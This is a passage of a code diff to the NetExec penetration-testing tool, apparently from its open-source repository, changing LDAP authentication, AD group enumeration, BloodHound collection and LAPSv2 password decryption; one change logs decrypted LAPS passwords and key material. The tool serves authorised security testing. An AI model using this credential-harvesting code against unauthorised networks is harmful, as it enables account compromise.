||||
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} using Kerberos")
|
||||
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
|
||||
self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
|
||||
if self.username == "":
|
||||
@@ -399,7 +393,7 @@ class ldap(connection):
|
||||
self.logger.extra["port"] = "636"
|
||||
self.port = 636
|
||||
ldaps_url = f"ldaps://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} using Kerberos")
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
|
||||
self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
|
||||
if self.username == "":
|
||||
@@ -457,42 +451,21 @@ class ldap(connection):
|
||||
hash_asreproast.write(f"{hash_tgt}\n")
|
||||
return False
|
||||
|
||||
cert_options = {}
|
||||
cert_tmp_file = None
|
||||
if self.args.schannel:
|
||||
try:
|
||||
cert_options, cert_tmp_file = certificate_options(self.args)
|
||||
except (OSError, ValueError) as e:
|
||||
self.logger.fail(f"Failed to load the certificate material: {e}")
|
||||
return False
|
||||
|
||||
try:
|
||||
# Connect to LDAP
|
||||
self.logger.extra["protocol"] = "LDAPS" if self.port == 636 else "LDAP"
|
||||
self.logger.extra["port"] = "636" if self.port == 636 else "389"
|
||||
proto = "ldaps" if self.port == 636 else "ldap"
|
||||
ldap_url = f"{proto}://{self.target}"
|
||||
authentication_choice = "external" if self.args.schannel else self.auth_choice
|
||||
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} using {auth_methods[authentication_choice]}")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=self.auth_choice != "simple", timeout=self.args.ldap_timeout, **cert_options)
|
||||
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=authentication_choice)
|
||||
|
||||
if self.args.schannel:
|
||||
# The certificate is mapped to an account server-side, so whoami is the only way to know who we are
|
||||
netbios_domain, _, self.username = self.ldap_connection.whoami().removeprefix("u:").partition("\\")
|
||||
# The mapped account can belong to another domain of the forest, and whoami only returns its NetBIOS domain name
|
||||
cross_ref = parse_result_attributes(self.search(f"(&(objectClass=crossRef)(nETBIOSName={netbios_domain}))", ["dnsRoot"], baseDN=f"CN=Partitions,{self.configuration_context}"))
|
||||
self.domain = cross_ref[0]["dnsRoot"] if cross_ref else netbios_domain
|
||||
|
||||
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=self.auth_choice != "simple", timeout=self.args.ldap_timeout)
|
||||
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice)
|
||||
self.check_if_admin()
|
||||
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
|
||||
self.db.add_credential("plaintext", domain, self.username, self.password)
|
||||
|
||||
# A certificate bind has no secret to store, the account comes from the certificate mapping
|
||||
if not self.args.schannel:
|
||||
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
|
||||
self.db.add_credential("plaintext", domain, self.username, self.password)
|
||||
|
||||
used_certificate = " from certificate" if self.args.schannel else f":{process_secret(self.password)}"
|
||||
self.logger.success(f"{self.domain}\\{self.username}{used_certificate} {self.mark_pwned()}")
|
||||
# Prepare success credential text
|
||||
self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
|
||||
|
||||
if self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
@@ -500,13 +473,6 @@ class ldap(connection):
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
return True
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
if self.args.schannel:
|
||||
# The error mapping below reads NTLM status codes, which a certificate bind never returns
|
||||
if "did not receive any credentials via TLS" in str(e) or "connection is anonymous" in str(e):
|
||||
self.logger.fail("Schannel authentication failed: the DC did not map the certificate to an account")
|
||||
else:
|
||||
self.logger.fail(f"Schannel authentication failed: {e}")
|
||||
return False
|
||||
if str(e).find("strongerAuthRequired") >= 0:
|
||||
# This should actually not happen anymore as impacket now supports LDAP signing/sealing via GSSAPI
|
||||
if self.args.simple_bind:
|
||||
@@ -520,7 +486,7 @@ class ldap(connection):
|
||||
self.logger.extra["port"] = "636"
|
||||
self.port = 636
|
||||
ldaps_url = f"ldaps://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} using {auth_methods[self.auth_choice]}")
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
|
||||
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice)
|
||||
self.check_if_admin()
|
||||
@@ -551,9 +517,6 @@ class ldap(connection):
|
||||
except OSError as e:
|
||||
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
|
||||
return False
|
||||
finally:
|
||||
if cert_tmp_file and os.path.exists(cert_tmp_file):
|
||||
os.remove(cert_tmp_file)
|
||||
|
||||
def hash_login(self, domain, username, ntlm_hash):
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
@@ -590,7 +553,7 @@ class ldap(connection):
|
||||
self.logger.extra["port"] = "636" if self.port == 636 else "389"
|
||||
proto = "ldaps" if self.port == 636 else "ldap"
|
||||
ldaps_url = f"{proto}://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} using NT hash")
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
|
||||
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.check_if_admin()
|
||||
@@ -616,7 +579,7 @@ class ldap(connection):
|
||||
self.logger.extra["port"] = "636"
|
||||
self.port = 636
|
||||
ldaps_url = f"ldaps://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} using NT hash")
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
|
||||
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.check_if_admin()
|
||||
@@ -659,7 +622,7 @@ class ldap(connection):
|
||||
resp = self.search(search_filter, attributes, baseDN=self.baseDN)
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
|
||||
if resp and (self.password != "" or self.lmhash != "" or self.nthash != "" or self.aesKey != "" or self.use_kcache or self.args.schannel) and self.username != "":
|
||||
if resp and (self.password != "" or self.lmhash != "" or self.nthash != "" or self.aesKey != "" or self.use_kcache) and self.username != "":
|
||||
for item in resp_parsed:
|
||||
self.sid_domain = "-".join(item["objectSid"].split("-")[:-1])
|
||||
|
||||
@@ -711,8 +674,7 @@ class ldap(connection):
|
||||
self.logger.debug(f"Search Filter={searchFilter}")
|
||||
|
||||
# Microsoft Active Directory set an hard limit of 1000 entries returned by any search
|
||||
# A baseObject search returns one entry at most, and AD refuses the paged control on an anonymous rootDSE read
|
||||
paged_search_control = [ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000)] if self.scope is None else None
|
||||
paged_search_control = [ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000)] if not self.no_ntlm else ""
|
||||
return self.ldap_connection.search(
|
||||
scope=self.scope,
|
||||
searchBase=baseDN,
|
||||
@@ -782,12 +744,12 @@ class ldap(connection):
|
||||
self.users()
|
||||
|
||||
def groups(self):
|
||||
# Group specific member search
|
||||
# Building the search filter
|
||||
if self.args.groups:
|
||||
self.logger.debug(f"Dumping group: {self.args.groups}")
|
||||
|
||||
# Resolve group DN and primaryGroupID (objectSid) and member attribute
|
||||
group_resp = self.search(f"(&(cn={self.args.groups})(objectClass=group))", ["distinguishedName", "objectSid", "member"])
|
||||
# Resolve group DN and primaryGroupID (objectSid)
|
||||
group_resp = self.search(f"(&(cn={self.args.groups})(objectClass=group))", ["distinguishedName", "objectSid"])
|
||||
group_parsed = parse_result_attributes(group_resp)
|
||||
|
||||
if not group_parsed:
|
||||
@@ -795,63 +757,29 @@ class ldap(connection):
|
||||
return
|
||||
else:
|
||||
group = group_parsed[0]
|
||||
direct_group_members = group.get("member", [])
|
||||
if not isinstance(direct_group_members, list):
|
||||
direct_group_members = [direct_group_members]
|
||||
|
||||
# Get all group members: user must have membership OR primaryGroupID
|
||||
# Search filter: user must have membership OR primaryGroupID
|
||||
search_filter = f"(|(memberOf={group['distinguishedName']})(primaryGroupID={group['objectSid'].split('-')[-1]}))"
|
||||
attributes = ["sAMAccountName", "distinguishedName", "cn", "objectClass"]
|
||||
resp = self.search(search_filter, attributes)
|
||||
group_members = parse_result_attributes(resp)
|
||||
self.logger.debug(f"Total of records returned {len(group_members)}")
|
||||
|
||||
# Resolve any missing group members that the memberOf/primaryGroupID search above didn't already return
|
||||
if len(group_members) < len(direct_group_members):
|
||||
for member_dn in direct_group_members:
|
||||
member_resp = self.search(f"(distinguishedName={member_dn})", ["sAMAccountName", "distinguishedName", "cn", "objectClass"])
|
||||
member_parsed = parse_result_attributes(member_resp)
|
||||
else:
|
||||
search_filter = "(objectCategory=group)"
|
||||
attributes = ["cn", "member", "description"]
|
||||
|
||||
if member_parsed:
|
||||
group_members.append(member_parsed[0])
|
||||
else:
|
||||
self.logger.debug(f"Failed to resolve group member DN '{member_dn}' for group '{self.args.groups}'")
|
||||
group_members.append({"distinguishedName": member_dn})
|
||||
|
||||
# Deduplicate group members by distinguishedName or cn
|
||||
deduped = {}
|
||||
for item in group_members:
|
||||
key = item.get("distinguishedName", item.get("cn", "")).lower()
|
||||
deduped.setdefault(key, item)
|
||||
resp_parsed = list(deduped.values())
|
||||
resp = self.search(search_filter, attributes)
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
self.logger.debug(f"Total of records returned {len(resp_parsed)}")
|
||||
|
||||
if self.args.groups:
|
||||
# Display group members
|
||||
if not resp_parsed:
|
||||
self.logger.fail(f"Group '{self.args.groups}' has no members")
|
||||
else:
|
||||
for item in resp_parsed:
|
||||
# Display cn if it is a group
|
||||
# Otherwise display sAMAccountName and fall back to cn if sAMAccountName is not present
|
||||
# If nothing is present, display Distinguished Name
|
||||
if "group" in item.get("objectClass", []):
|
||||
out = item["cn"]
|
||||
elif "sAMAccountName" in item:
|
||||
out = item["sAMAccountName"]
|
||||
elif "cn" in item:
|
||||
out = item["cn"]
|
||||
else:
|
||||
out = item["distinguishedName"]
|
||||
self.logger.highlight(out)
|
||||
|
||||
# List all groups
|
||||
# Display sAMAccountName or CN if sAMAccountName not present (could be a group)
|
||||
# Fallback to cn should sAMAccountName not be present (e.g. Service Principal Names)
|
||||
self.logger.highlight(item.get("sAMAccountName", item["cn"]) if "group" not in item["objectClass"] else item["cn"])
|
||||
else:
|
||||
search_filter = "(objectCategory=group)"
|
||||
attributes = ["cn", "member", "description"]
|
||||
|
||||
resp = self.search(search_filter, attributes)
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
self.logger.debug(f"Total of records returned {len(resp_parsed)}")
|
||||
|
||||
# Display all groups
|
||||
self.logger.highlight(f"{'-Group-':<40} {'-Members-':<9} {'-Description-':<60}")
|
||||
for item in resp_parsed:
|
||||
@@ -969,7 +897,8 @@ class ldap(connection):
|
||||
resp_parse = parse_result_attributes(resp)
|
||||
for item in resp_parse:
|
||||
if "dNSHostName" in item: # Get dNSHostName attribute
|
||||
resolve_and_display_hostname(item["dNSHostName"])
|
||||
name = item["dNSHostName"]
|
||||
resolve_and_display_hostname(name)
|
||||
|
||||
# Find all trusted domains
|
||||
self.logger.info("Enumerating Trusted Domains...")
|
||||
@@ -1253,27 +1182,28 @@ class ldap(connection):
|
||||
self.logger.debug(f"Querying LDAP server with filter: {search_filter} and attributes: {attributes}")
|
||||
try:
|
||||
resp = self.search(search_filter, attributes, 0)
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
except LDAPFilterSyntaxError as e:
|
||||
self.logger.fail(f"LDAP Filter Syntax Error: {e}")
|
||||
return
|
||||
# A search response also holds SearchResultReference objects, which carry no attributes and must not be indexed like an entry.
|
||||
entries = [item for item in resp if isinstance(item, ldapasn1_impacket.SearchResultEntry)]
|
||||
for entry, attribute_map in zip(entries, parse_result_attributes(entries), strict=True):
|
||||
self.logger.success(f"Response for object: {entry['objectName']}")
|
||||
for attribute, value in attribute_map.items():
|
||||
if isinstance(value, list) and value:
|
||||
for idx, entry in enumerate(resp_parsed):
|
||||
if not isinstance(resp[idx], ldapasn1_impacket.SearchResultEntry):
|
||||
idx += 1 # Skip non-entry responses
|
||||
self.logger.success(f"Response for object: {resp[idx]['objectName']}")
|
||||
for attribute in entry:
|
||||
if isinstance(entry[attribute], list) and entry[attribute]:
|
||||
# Display first item in the same line as attribute
|
||||
self.logger.highlight(f"{attribute:<20} {value.pop(0)}")
|
||||
for item in value:
|
||||
self.logger.highlight(f"{attribute:<20} {entry[attribute].pop(0)}")
|
||||
for item in entry[attribute]:
|
||||
self.logger.highlight(f"{'':<20} {item}")
|
||||
else:
|
||||
self.logger.highlight(f"{attribute:<20} {value}")
|
||||
self.logger.highlight(f"{attribute:<20} {entry[attribute]}")
|
||||
|
||||
def find_delegation(self):
|
||||
def printTable(items, header):
|
||||
colLen = []
|
||||
|
||||
# Calculating maximum length before parsing CN.
|
||||
# Calculating maximum lenght before parsing CN.
|
||||
for i, col in enumerate(header):
|
||||
rowMaxLen = max(len(row[1].split(",")[0].split("CN=")[-1]) for row in items) if i == 1 else max(len(str(row[i])) for row in items)
|
||||
colLen.append(max(rowMaxLen, len(col)))
|
||||
@@ -1537,12 +1467,12 @@ class ldap(connection):
|
||||
Get the Fine Grained Password Policy/PSOs
|
||||
Initial FGPP/PSO script written by @n00py: https://github.com/n00py/GetFGPP
|
||||
"""
|
||||
# Convert LDAP time (100ns intervals) to human readable format
|
||||
# Convert LDAP time to human readable format
|
||||
def pso_days(ldap_time):
|
||||
return f"{abs(int(ldap_time)) // 864000000000} days"
|
||||
return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).days} days"
|
||||
|
||||
def pso_mins(ldap_time):
|
||||
return f"{abs(int(ldap_time)) // 600000000} minutes"
|
||||
return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).minutes} minutes"
|
||||
|
||||
# Are there even any FGPPs?
|
||||
self.logger.info("Attempting to enumerate policies...")
|
||||
@@ -1759,7 +1689,6 @@ class ldap(connection):
|
||||
aeskey=self.aesKey,
|
||||
kdc=self.kdcHost,
|
||||
auth_method="auto",
|
||||
ldap_channel_binding=self.cbt_status == "Always"
|
||||
)
|
||||
ad = AD(
|
||||
auth=auth,
|
||||
@@ -1779,7 +1708,7 @@ class ldap(connection):
|
||||
if self.args.kerberos:
|
||||
self.logger.highlight("Using kerberos auth without ccache, getting TGT")
|
||||
auth.get_tgt()
|
||||
if self.use_kcache:
|
||||
if self.args.use_kcache:
|
||||
self.logger.highlight("Using kerberos auth from ccache")
|
||||
auth.load_ccache()
|
||||
|
||||
@@ -1798,13 +1727,9 @@ class ldap(connection):
|
||||
exclude_dcs=False,
|
||||
)
|
||||
except Exception as e:
|
||||
if "ldap3-bleeding-edge" in str(e):
|
||||
self.logger.fail("Bloodhound collection failed due to channel binding requirements. Inject 'ldap3-bleeding-edge': pipx inject netexec ldap3-bleeding-edge")
|
||||
return
|
||||
else:
|
||||
self.logger.fail(f"BloodHound collection failed: {e.__class__.__name__} - {e}")
|
||||
self.logger.debug(f"BloodHound collection failed: {e.__class__.__name__} - {e}", exc_info=True)
|
||||
return
|
||||
self.logger.fail(f"BloodHound collection failed: {e.__class__.__name__} - {e}")
|
||||
self.logger.debug(f"BloodHound collection failed: {e.__class__.__name__} - {e}", exc_info=True)
|
||||
return
|
||||
|
||||
# Collect ADCS data using CertiHound if requested
|
||||
if "adcs" in collect:
|
||||
|
||||
@@ -1,124 +0,0 @@
|
||||
from impacket.ldap.ldaptypes import ACCESS_MASK
|
||||
|
||||
# https://learn.microsoft.com/en-us/windows/win32/secauthz/well-known-sids
|
||||
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/81d92bba-d22b-4a8c-908a-554ab29148ab?source=recommendations
|
||||
WELL_KNOWN_SIDS = {
|
||||
"S-1-0": "Null Authority",
|
||||
"S-1-0-0": "Nobody",
|
||||
"S-1-1": "World Authority",
|
||||
"S-1-1-0": "Everyone",
|
||||
"S-1-2": "Local Authority",
|
||||
"S-1-2-0": "Local",
|
||||
"S-1-2-1": "Console Logon",
|
||||
"S-1-3": "Creator Authority",
|
||||
"S-1-3-0": "Creator Owner",
|
||||
"S-1-3-1": "Creator Group",
|
||||
"S-1-3-2": "Creator Owner Server",
|
||||
"S-1-3-3": "Creator Group Server",
|
||||
"S-1-3-4": "Owner Rights",
|
||||
"S-1-4": "Non-unique Authority",
|
||||
"S-1-5": "NT Authority",
|
||||
"S-1-5-1": "Dialup",
|
||||
"S-1-5-2": "Network",
|
||||
"S-1-5-3": "Batch",
|
||||
"S-1-5-4": "Interactive",
|
||||
"S-1-5-6": "Service",
|
||||
"S-1-5-7": "Anonymous",
|
||||
"S-1-5-8": "Proxy",
|
||||
"S-1-5-9": "Enterprise Domain Controllers",
|
||||
"S-1-5-10": "Principal Self",
|
||||
"S-1-5-11": "Authenticated Users",
|
||||
"S-1-5-12": "Restricted Code",
|
||||
"S-1-5-13": "Terminal Server Users",
|
||||
"S-1-5-14": "Remote Interactive Logon",
|
||||
"S-1-5-15": "This Organization",
|
||||
"S-1-5-17": "This Organization",
|
||||
"S-1-5-18": "Local System",
|
||||
"S-1-5-19": "NT Authority",
|
||||
"S-1-5-20": "NT Authority",
|
||||
"S-1-5-21-0-0-0-496": "Compounded Authentication", # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/11e1608c-6169-4fbc-9c33-373fc9b224f4#Appendix_A_13
|
||||
"S-1-5-21-0-0-0-497": "Claims Valid", # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/11e1608c-6169-4fbc-9c33-373fc9b224f4#Appendix_A_14
|
||||
"S-1-5-32-544": "Administrators",
|
||||
"S-1-5-32-545": "Users",
|
||||
"S-1-5-32-546": "Guests",
|
||||
"S-1-5-32-547": "Power Users",
|
||||
"S-1-5-32-548": "Account Operators",
|
||||
"S-1-5-32-549": "Server Operators",
|
||||
"S-1-5-32-550": "Print Operators",
|
||||
"S-1-5-32-551": "Backup Operators",
|
||||
"S-1-5-32-552": "Replicators",
|
||||
"S-1-5-32-553": "RAS and IAS Servers",
|
||||
"S-1-5-32-554": r"BUILTIN\Pre-Windows 2000 Compatible Access",
|
||||
"S-1-5-32-555": r"BUILTIN\Remote Desktop Users",
|
||||
"S-1-5-32-557": r"BUILTIN\Incoming Forest Trust Builders",
|
||||
"S-1-5-32-556": r"BUILTIN\Network Configuration Operators",
|
||||
"S-1-5-32-558": r"BUILTIN\Performance Monitor Users",
|
||||
"S-1-5-32-559": r"BUILTIN\Performance Log Users",
|
||||
"S-1-5-32-560": r"BUILTIN\Windows Authorization Access Group",
|
||||
"S-1-5-32-561": r"BUILTIN\Terminal Server License Servers",
|
||||
"S-1-5-32-562": r"BUILTIN\Distributed COM Users",
|
||||
"S-1-5-32-568": r"BUILTIN\DCOM Users",
|
||||
"S-1-5-32-569": r"BUILTIN\Cryptographic Operators",
|
||||
"S-1-5-32-571": r"BUILTIN\Cacheable Principals",
|
||||
"S-1-5-32-572": r"BUILTIN\Non-Cacheable Principals",
|
||||
"S-1-5-32-573": r"BUILTIN\Event Log Readers",
|
||||
"S-1-5-32-574": r"BUILTIN\Certificate Service DCOM Access",
|
||||
"S-1-5-32-575": r"BUILTIN\RDS Remote Access Servers",
|
||||
"S-1-5-32-576": r"BUILTIN\RDS Endpoint Servers",
|
||||
"S-1-5-32-577": r"BUILTIN\RDS Management Servers",
|
||||
"S-1-5-32-578": r"BUILTIN\Hyper-V Administrators",
|
||||
"S-1-5-32-579": r"BUILTIN\Access Control Assistance Operators",
|
||||
"S-1-5-32-580": r"BUILTIN\Remote Management Users",
|
||||
"S-1-5-32-581": r"BUILTIN\Default Account",
|
||||
"S-1-5-32-582": r"BUILTIN\Storage Replica Administrators",
|
||||
"S-1-5-32-583": r"BUILTIN\Device Owners",
|
||||
"S-1-5-32-584": r"BUILTIN\User Mode Hardware Operators",
|
||||
"S-1-5-32-585": r"BUILTIN\OpenSSH Users",
|
||||
"S-1-5-33": "Write Restricted Code",
|
||||
"S-1-5-64-10": "NTLM Authentication",
|
||||
"S-1-5-64-14": "SChannel Authentication",
|
||||
"S-1-5-64-21": "Digest Authority",
|
||||
"S-1-5-65-1": "This Organization Certificate", # see https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/39f588d6-21e3-4e09-a9f2-d8f7b9b998bf
|
||||
"S-1-5-80": "NT Service",
|
||||
"S-1-5-80-0": "All Services",
|
||||
"S-1-5-83-0": r"NT VIRTUAL MACHINE\Virtual Machines",
|
||||
"S-1-5-84-0-0-0-0-0": "User Mode Drivers",
|
||||
"S-1-5-1000": "Other Organization",
|
||||
"S-1-16-0": "Untrusted Mandatory Level",
|
||||
"S-1-16-4096": "Low Mandatory Level",
|
||||
"S-1-16-8192": "Medium Mandatory Level",
|
||||
"S-1-16-8448": "Medium Plus Mandatory Level",
|
||||
"S-1-16-12288": "High Mandatory Level",
|
||||
"S-1-16-16384": "System Mandatory Level",
|
||||
"S-1-16-20480": "Protected Process Mandatory Level",
|
||||
"S-1-16-28672": "Secure Process Mandatory Level",
|
||||
"S-1-18-1": "Authentication Authority Asserted Identity",
|
||||
"S-1-18-2": "Service Asserted Identity",
|
||||
"S-1-18-3": "Fresh public key identity",
|
||||
"S-1-18-5": "MFA Key Property",
|
||||
"S-1-18-6": "Attested Key Property",
|
||||
}
|
||||
|
||||
ACCESS_MASK_TO_TEXT_LOOKUP = {
|
||||
ACCESS_MASK.GENERIC_READ: "GENERIC_READ",
|
||||
ACCESS_MASK.GENERIC_WRITE: "GENERIC_WRITE",
|
||||
ACCESS_MASK.GENERIC_EXECUTE: "GENERIC_EXECUTE",
|
||||
ACCESS_MASK.GENERIC_ALL: "GENERIC_ALL",
|
||||
ACCESS_MASK.MAXIMUM_ALLOWED: "MAXIMUM_ALLOWED",
|
||||
ACCESS_MASK.ACCESS_SYSTEM_SECURITY: "ACCESS_SYSTEM_SECURITY",
|
||||
ACCESS_MASK.SYNCHRONIZE: "SYNCHRONIZE",
|
||||
ACCESS_MASK.WRITE_OWNER: "WRITE_OWNER",
|
||||
ACCESS_MASK.WRITE_DACL: "WRITE_DACL",
|
||||
ACCESS_MASK.READ_CONTROL: "READ_CONTROL",
|
||||
ACCESS_MASK.DELETE: "DELETE",
|
||||
# file system rights
|
||||
0x00000001: "FILE_READ_DATA",
|
||||
0x00000002: "FILE_WRITE_DATA",
|
||||
0x00000004: "FILE_APPEND_DATA",
|
||||
0x00000008: "FILE_READ_EA",
|
||||
0x00000010: "FILE_WRITE_EA",
|
||||
0x00000020: "FILE_EXECUTE",
|
||||
0x00000040: "FILE_DELETE_CHILD",
|
||||
0x00000080: "FILE_READ_ATTRIBUTES",
|
||||
0x00000100: "FILE_WRITE_ATTRIBUTES"
|
||||
}
|
||||
@@ -167,7 +167,7 @@ class KerberosAttacks:
|
||||
if e.errno == 113:
|
||||
self.logger.fail(f"Unable to resolve KDC hostname: {e!s}")
|
||||
else:
|
||||
self.logger.fail(f"Some other OSError occurred: {e!s}")
|
||||
self.logger.fail(f"Some other OSError occured: {e!s}")
|
||||
return None
|
||||
except Exception as e:
|
||||
self.logger.debug(f"TGT: {e!s}")
|
||||
|
||||
+12
-19
@@ -7,7 +7,7 @@ from impacket.krb5.kerberosv5 import KerberosError
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.epm import hept_map
|
||||
from impacket.dcerpc.v5.gkdi import MSRPC_UUID_GKDI, GkdiGetKey, GroupKeyEnvelope
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from impacket.dpapi_ng import EncryptedPasswordBlob, KeyIdentifier, compute_kek, create_sd, decrypt_plaintext, unwrap_cek
|
||||
|
||||
from nxc.logger import NXCAdapter
|
||||
@@ -169,7 +169,7 @@ class LDAPConnect:
|
||||
|
||||
|
||||
class LAPSv2Extract:
|
||||
def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port, dns_server, rpc_host=None, rpc_name=None, aesKey=""):
|
||||
def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port, dns_server):
|
||||
if ntlm_hash.find(":") != -1:
|
||||
self.lmhash, self.nthash = ntlm_hash.split(":")
|
||||
else:
|
||||
@@ -182,11 +182,8 @@ class LAPSv2Extract:
|
||||
self.domain = domain
|
||||
self.do_kerberos = do_kerberos
|
||||
self.kdcHost = kdcHost
|
||||
self.aesKey = aesKey
|
||||
self.logger = None
|
||||
self.dns_server = dns_server
|
||||
self.rpc_host = rpc_host or (dns_server if dns_server else domain)
|
||||
self.rpc_name = rpc_name or domain
|
||||
self.proto_logger(self.domain, port, self.domain)
|
||||
|
||||
def proto_logger(self, host, port, hostname):
|
||||
@@ -218,30 +215,29 @@ class LAPSv2Extract:
|
||||
gke = kds_cache[key_id["RootKeyId"]]
|
||||
else:
|
||||
# Connect on RPC over TCP to MS-GKDI to call opnum 0 GetKey
|
||||
string_binding = hept_map(destHost=self.rpc_host, remoteIf=MSRPC_UUID_GKDI, protocol="ncacn_ip_tcp")
|
||||
string_binding = hept_map(destHost=self.domain if not self.dns_server else self.dns_server, remoteIf=MSRPC_UUID_GKDI, protocol="ncacn_ip_tcp")
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpc_transport.setRemoteName(self.rpc_name)
|
||||
rpc_transport.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash, aesKey=self.aesKey)
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
rpc_transport.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash)
|
||||
if self.do_kerberos:
|
||||
self.logger.info("Connecting using kerberos")
|
||||
rpc_transport.set_kerberos(self.do_kerberos, kdcHost=self.kdcHost)
|
||||
|
||||
dce = rpc_transport.get_dce_rpc()
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
if self.do_kerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
self.logger.info(f"Connecting to {string_binding}")
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
self.logger.error(f"Something went wrong, check error status => {e}")
|
||||
return None
|
||||
return False
|
||||
self.logger.info("Connected")
|
||||
try:
|
||||
dce.bind(MSRPC_UUID_GKDI)
|
||||
except Exception as e:
|
||||
self.logger.error(f"Something went wrong, check error status => {e!s}")
|
||||
return None
|
||||
return False
|
||||
self.logger.info("Successfully bound")
|
||||
self.logger.info("Calling MS-GKDI GetKey")
|
||||
|
||||
@@ -252,12 +248,15 @@ class LAPSv2Extract:
|
||||
kds_cache[gke["RootKeyId"]] = gke
|
||||
|
||||
kek = compute_kek(gke, key_id)
|
||||
self.logger.info(f"KEK:\t{kek}")
|
||||
enc_content_parameter = bytes(parsed_enveloped_data["encryptedContentInfo"]["contentEncryptionAlgorithm"]["parameters"])
|
||||
iv, _ = decoder.decode(enc_content_parameter)
|
||||
iv = bytes(iv[0])
|
||||
|
||||
cek = unwrap_cek(kek, bytes(kek_recipient_info["encryptedKey"]))
|
||||
self.logger.info(f"CEK:\t{cek}")
|
||||
plaintext = decrypt_plaintext(cek, iv, remaining)
|
||||
self.logger.info(plaintext[:-18].decode("utf-16le"))
|
||||
return plaintext[:-18].decode("utf-16le")
|
||||
|
||||
|
||||
@@ -326,19 +325,13 @@ def laps_search(self, username, password, cred_type, domain, dns_server):
|
||||
self.kerberos,
|
||||
self.kdcHost,
|
||||
339,
|
||||
dns_server,
|
||||
self.kdcHost,
|
||||
self.kdcHost,
|
||||
self.aesKey,
|
||||
dns_server
|
||||
)
|
||||
try:
|
